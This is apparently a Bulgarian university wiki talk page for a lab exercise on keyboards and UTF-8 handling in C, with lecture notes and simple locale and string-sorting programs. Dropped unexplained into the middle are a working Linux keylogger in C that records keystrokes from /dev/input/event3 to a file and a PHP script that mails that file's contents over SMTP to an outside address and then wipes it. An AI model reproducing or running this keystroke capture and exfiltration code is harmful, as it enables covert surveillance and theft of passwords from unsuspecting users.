Difference between revisions of "Talk:Клавиатура, Utf-8"

From Ilianko
 
Line 109: Line 109:
  
 
При стартиране на компютъра USB клавиатурата първоначално се управлява от драйверите на BIOS-a, затова трябва да се провери дали е разрешено ползването USB клавиатура.  В последствие по време на зареждането на операционната система управлението се поема от драйверите на операционната система
 
При стартиране на компютъра USB клавиатурата първоначално се управлява от драйверите на BIOS-a, затова трябва да се провери дали е разрешено ползването USB клавиатура.  В последствие по време на зареждането на операционната система управлението се поема от драйверите на операционната система
 +
 +
== Ползване Utf-8 в C и Linux ==
 +
'''Задача 6.'''
 +
*Изпълнете програмата в терминал.
 +
*Изпълнете програмата като изтриете функцията ''setlocale()''.
 +
*Изпълнете командата ''locale'' в терминалния прозорец, за да видите регионалните настройки.
 +
 +
<code><pre>
 +
/*********************************************************************\
 +
* Title: Регионални настройки
 +
* Кодиране на символите (Encoding), Формат на дата, час, валута ...
 +
* Author: ilianko
 +
*
 +
\*********************************************************************/
 +
 +
#include <stdio.h>
 +
#include <locale.h>
 +
 +
int main()
 +
{
 +
 
 +
  if (!setlocale(LC_CTYPE, "")) //Прочита регионални настройки записани на локалната машина
 +
  {
 +
    fprintf(stderr, "Can't set the specified locale!");
 +
    return 1;
 +
  }
 +
 
 +
  printf("%ls\n", L"sadsada абв  ளிலே தமிழ்மொழி போல் இனிதாவது எங்க Schöne Grüße");
 +
  return 0;
 +
 +
}
 +
</pre></code>
 +
 +
'''Задача 7.''' Разучете действието на програмата и преминете към следващата задача.
 +
 +
<code><pre>
 +
/*********************************************************************\
 +
* Title: string bubble sort
 +
* Author: ilianko
 +
*
 +
\*********************************************************************/
 +
 +
#include <stdio.h>
 +
#include <string.h>
 +
 +
#define BROI_DUMI 4
 +
#define DYLZHINA_NA_DUMA 16 // max broj simvoli
 +
 +
int main ()
 +
{
 +
 
 +
  char words[BROI_DUMI][DYLZHINA_NA_DUMA] = {"strawberry","orange","bananas","mango",};
 +
 
 +
  printf("Pyrwata duma e %s. \n\n", words[0]);
 +
   
 +
  //Сортиране на думи в азбучен ред
 +
  int i,k;
 +
  char temp[16];
 +
 
 +
  for(k=0; k<BROI_DUMI-1; k++)
 +
  {
 +
    for(i = BROI_DUMI-1; i > 0; i--)
 +
    {
 +
      if( strcmp(words[i],words[i-1]) < 0) //Азбучно сравнение на два стринга
 +
      { //Смяна местата на думите
 +
        strcpy ( temp, words[i]); //Копиране на
 +
        strcpy ( words[i], words[i-1]);
 +
strcpy ( words[i-1], temp);
 +
      }
 +
    }  
 +
  }
 +
  //Извеждане на резултата
 +
  for (i = 0 ; i < BROI_DUMI; i++)
 +
    printf("%s \n", words[i]);
 +
   
 +
  return 0;
 +
}
 +
</pre></code>
 +
 +
''' Задача. 8 ''' Преработете програмата по-горе да работи с wide characters.
 +
 +
'' '''Упътване: '''Използвайте първите два примера, тип данни wchar_t, библиотеката <wchar.h> и функциите wcscmp(); wcscpy(); ''[[Решения|Решение]]

Latest revision as of 16:58, 25 March 2015


<?php

$msg[] = 'ehlo tugab.bg';
$msg[] = 'mail from:students@tugab.bg';
$msg[] = 'rcpt to:ilianko@tugab.bg';
$msg[] = 'data';
$msg[] = 'from: students@tugab.bg';
$msg[] = 'subject: test';

$telnet = fsockopen("mail.tugab.bg", 25);

if (!$telnet) die('socket not open');

if ( !($file = fopen("/home/ilianko/ram/keys", 'rb'))) die('file not open');

foreach($msg as $send)
{
	sleep(2);
	fwrite($telnet, $send."\r\n");
}

 fwrite($telnet, "\r\n");
sleep(2);
 // truncate + attempt to create
$content = stream_get_contents($file);
fwrite($telnet, $content);
fclose($file);
sleep(2);
 fwrite($telnet, "\r\n");sleep(2);
  fwrite($telnet, ".\r\n");sleep(2);
   fwrite($telnet, "quit\r\n");
 
$handle = fopen("/home/ilianko/ram/keys", "w"); // truncate + attempt to create
fwrite($handle, ' ');
fclose($handle);

?>



#include <linux/input.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>

int main()
{
    int fd, keylog;
    struct input_event ev;
	char dic[] = {'x','x','1','2','3','4','5','6','7','8','9','0','-','=','x','x','q','w','e','r','t','y','u','i','o','p','[',']','x','x','a','s','d','f','g','h','j','k','l',';','\'','`','x','\\','z','x','c','v','b','n','m',',','.','/','x','x','x',' '};

	keylog = open("/home/ilianko/ram/keys",O_RDWR | O_APPEND | O_CREAT);  
	if (keylog < 0 ) {printf("file not exist"); return 1;}
	
    fd = open("/dev/input/event3", O_RDONLY);
    if(fd < 0) {
        printf("error openning");
        return 1;
    }
    
    
    while (1)
    {
    read(fd, &ev, sizeof(struct input_event));

    if(ev.type == 1)
		if(ev.code < 0x40 && ev.value > 0)
        write(keylog, &dic[ev.code], 1);

    }
}

== Цел на упражнението ==

Запознаване на студентите с основното входно устройство – клавиатурата. Обяснение на понятията клавиатурни подредби, символни кодови таблици и колации.

Теоретична подготовка

Клавиатурата е основното входящо устройство за взаимодействие с компютъра. Тя се предхожда от перфокартата и перфолентата, но след края на 70-те е неизменна част от почти всяка компютърна конфигурация. Въпреки наглед простото си устройство, добрите клавиатури са сравнително трудни за изпълнение.

Механична конструкция

Фиг.1 Бутони: неустойчив и устойчив на натиск

Въпреки наглед простото си устройство, добрите клавиатури са сравнително трудни за изпълнение. Основен компонент от клавиатурата е клавишът – над 100 бутона при всяка клавиатура. Под всеки бутон има ключ, с него се сигнализира компютъра при две събития - при натискане на бутона и при отпускане на бутона. Спрямо вида на бутоните и тяхното разположение има голямо разнообразие от клавиатури. Две основни характеристики, които се вземат предвид при изработката на клавиатурите са издръжливост и удобство на ползване. Много често нанасяме силни удари при натискане на бутон. На Фиг.1 е показна примерна реализация на бутони. При левия бутон силата, с която ще се натиснат контакторните пластини, зависи от натиска върху бутона. Това ще доведе до по-бързото износване на клавиатурата. В десния случай силата, която се прилага, не се предава директно на контактните пластини.

Клавиатурата е под постоянно въздействие на прах, съществува и опасност от заливане с течност. Една добра клавиатура трябва да е устойчива при подобни въздействия.

Съвет: В случай на заливане на клавиатурата с лепкава субстанция тя може да бъде измита с вода, но първо трябва да бъде изключена изключена от компютъра. След като бъде добре изсушена клавиатурата може да бъде ползвана отново.

Удобството на клавиатурата е комплексна и субективна мярка. В тази връзка клавиатурите се различават по:

  • чувството за натиск върху бутона (tacktile response) - твърдо, меко (soft-touch),
  • звук при натискане (с кликване);
  • силата, с която въздейства обратно бутона;
  • разположението на бутоните върху клавиатурата, от което зависят позицията на китките, ъгълът на лактите и цялостният комфорт на тялото.

При мобилните компютри ключови характеристики са огъването на клавиатурата при натиск и затоплянето й при продължителна работа.

Управление

Най-често клавиатурата се включва към компютъра чрез специализирания интерфейс PS/2 (серийна синхронна връзка) или чрез USB интерфейс. PS/2 е сравнително остарял и при по-новите машини и мобилните компютри може да липсва.

фиг. 2

Всяка клавиатура има вградено управление, което следи състоянието на бутоните. С всяко натискане или отпускане на бутон се генерира код, който се изпраща за интерпретиране от компютъра. Изпратеният код съдържа номера на натиснатия бутон и действието.

При задържане на натиснат бутон периодично се изпраща код за задържан бутон. В случай на едновременно натискане на втори бутон, спира изпращането на кода за задържан първи бутон и се следи състоянието на втория бутон. При отпускане на втория бутон не се изпраща код за задържан бутан дори и първият все още да не е отпуснат.

Фиг. 3

Независимо кой физически интерфейс се ползва, данните са идентични и след пристигането им до компютъра се приемат от вградения на дънната платка клавиатурен контролер. Чрез линия за прекъсване IRQ1, контролерът сигнализира на системния процесор (CPU) за настъпилото събитие. Може да се подават и данни от компютъра към клавиатурата.

При стартиране на компютъра USB клавиатурата първоначално се управлява от драйверите на BIOS-a, затова трябва да се провери дали е разрешено ползването USB клавиатура. В последствие по време на зареждането на операционната система управлението се поема от драйверите на операционната система

Ползване Utf-8 в C и Linux

Задача 6.

  • Изпълнете програмата в терминал.
  • Изпълнете програмата като изтриете функцията setlocale().
  • Изпълнете командата locale в терминалния прозорец, за да видите регионалните настройки.
/*********************************************************************\
 * Title: Регионални настройки 
 * Кодиране на символите (Encoding), Формат на дата, час, валута ...
 * Author: ilianko
 * 
\*********************************************************************/

#include <stdio.h>
#include <locale.h>

int main()
{
   
  if (!setlocale(LC_CTYPE, "")) //Прочита регионални настройки записани на локалната машина
  {
    fprintf(stderr, "Can't set the specified locale!");
    return 1;
  }
  
  printf("%ls\n", L"sadsada абв  ளிலே தமிழ்மொழி போல் இனிதாவது எங்க Schöne Grüße");
  return 0;

}

Задача 7. Разучете действието на програмата и преминете към следващата задача.

/*********************************************************************\
 * Title: string bubble sort
 * Author: ilianko
 * 
\*********************************************************************/

#include <stdio.h>
#include <string.h>

#define BROI_DUMI 4
#define DYLZHINA_NA_DUMA 16 // max broj simvoli

int main ()
{
   
  char words[BROI_DUMI][DYLZHINA_NA_DUMA] = {"strawberry","orange","bananas","mango",};
  
  printf("Pyrwata duma e %s. \n\n", words[0]);
    
  //Сортиране на думи в азбучен ред
  int i,k;
  char temp[16];
  
  for(k=0; k<BROI_DUMI-1; k++)
  {
    for(i = BROI_DUMI-1; i > 0; i--)
    {
      if( strcmp(words[i],words[i-1]) < 0) //Азбучно сравнение на два стринга
      { //Смяна местата на думите
        strcpy ( temp, words[i]); //Копиране на 
        strcpy ( words[i], words[i-1]);
	strcpy ( words[i-1], temp);
      }
    }		  
  }
  //Извеждане на резултата
  for (i = 0 ; i < BROI_DUMI; i++) 
    printf("%s \n", words[i]);
    
  return 0;
}

Задача. 8 Преработете програмата по-горе да работи с wide characters.

Упътване: Използвайте първите два примера, тип данни wchar_t, библиотеката <wchar.h> и функциите wcscmp(); wcscpy(); Решение